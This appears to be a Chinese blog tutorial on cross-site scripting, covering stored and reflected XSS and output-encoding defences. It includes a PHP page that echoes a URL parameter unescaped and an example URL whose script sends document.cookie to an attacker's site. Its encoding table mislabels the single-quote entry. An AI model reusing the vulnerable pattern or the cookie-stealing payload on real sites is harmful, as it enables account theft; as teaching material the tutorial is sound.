XSS 攻击原理

XSS :跨站脚本攻击(Cross Site Scripting)。为了区别于层叠样式表(Cascading Style Sheet)的缩写 CSS,一般将其缩写为 XSS。XSS 针对一种 web 安全漏洞,该漏洞允许攻击者将恶意脚本注入到用户接收到的网页中,以完成某种不利于用户的操作。

简单地说,攻击者可以利用 XSS 漏洞向用户发送攻击脚本,因为用户的浏览器并不知道这段脚本是恶意的,所以依然会执行它。这段恶意脚本可以像正常脚本一样访问 cookie、读取保存在浏览器里的敏感信息,甚至还可以改写页面,进行钓鱼攻击。

下面两个例子,会让我们对 XSS 有个直观的认识。

场景一:

攻击者在某网站评论页面,提交了一段可执行的 JavaScript 脚本(这里假设为“恶意脚本”),若服务器端接收到这段脚本后,没有进行过滤或者转义这段脚本,而是将其作为普通的内容发布到了用户评论区,那么,后续用户访问到这个页面后,就会执行这段注入的“恶意脚本”。

场景二:

网站 www.a.com 会根据 url 后参数 content 来呈现不同的内容,我们假设页面 index.php 代码如下:

<!DOCTYPE html>
<html>
<body>
<h1>接收的内容:</h1>

<?php
    echo $_GET['content'];
?>

</body>
</html>

当我们访问地址 http://www.a.com/index.php?content=test 时,页面输出内容就是 test。这样好像并没有什么问题,但是,如果攻击者将访问地址修改为 http://www.a.com/index.php?content=<script>window.open("www.b.com?param="+document.cookie)</script>, 问题就来了。当某人打开这个地址后,除了打开 www.a.com ,还会弹出一个新的窗口 www.b.com(攻击者的站点),并且带上他保存在本地的 cookie,这些 cookie 很可能包含了他的用户名、密码等私密信息,而这些信息都会被攻击者获取。

(当然了,安装上面步骤操作一遍,我们不一定能看到上面所说的现象,那是因为有些浏览器会自带一些保护性措施来防止这种 XSS 攻击)

XSS 攻击大体分为以上两类:

① 存储式攻击
主要出现在让用户输入数据,然后存入数据库的场景,比如留言、评论、博客日志和各类表单等。攻击者在这类页面输入恶意脚本后,若未经过滤直接入库,应用程序从数据库中读取这些“恶意脚本数据”,并在页面中发布出来,后续用户浏览此页面时就可能受到攻击。

② 反射型攻击
攻击者将恶意脚本代码加入 url 地址的请求参数里,应用程序接收到请求参数后,将参数直接输入,就可能引入可执行的代码块。用户点击类似的恶意链接就可能执行此代码块,受到攻击。

归根结底,以上两类情况都是没有对用户提交的数据(参数)做过滤检查。所以,开发者应该有一个共识:永远不要相信用户的输入!对用户的输入进行过滤和审核是一个必要的环节!

依据以上分析,我们知道:预防 XSS 攻击的核心就是在输出不可信数据的时候进行编码,过滤特殊字符。

<     ->  &lt;    
>     ->  &gt;
&     ->  &amp;
"     ->  &quot; 
"     ->  &#x27;
空格  ->  &nbsp;  
/     ->  &#x2f;

以上编码转换能够防御一部分 XSS 攻击。实际生产过程中,具体问题还是应该具体分析。

参考:
[1] https://github.com/astaxie/build-web-application-with-golang/blob/master/zh/09.3.md
[2] http://blog.csdn.net/ghsau/article/details/17027893
[3] http://www.freebuf.com/articles/web/9977.html

views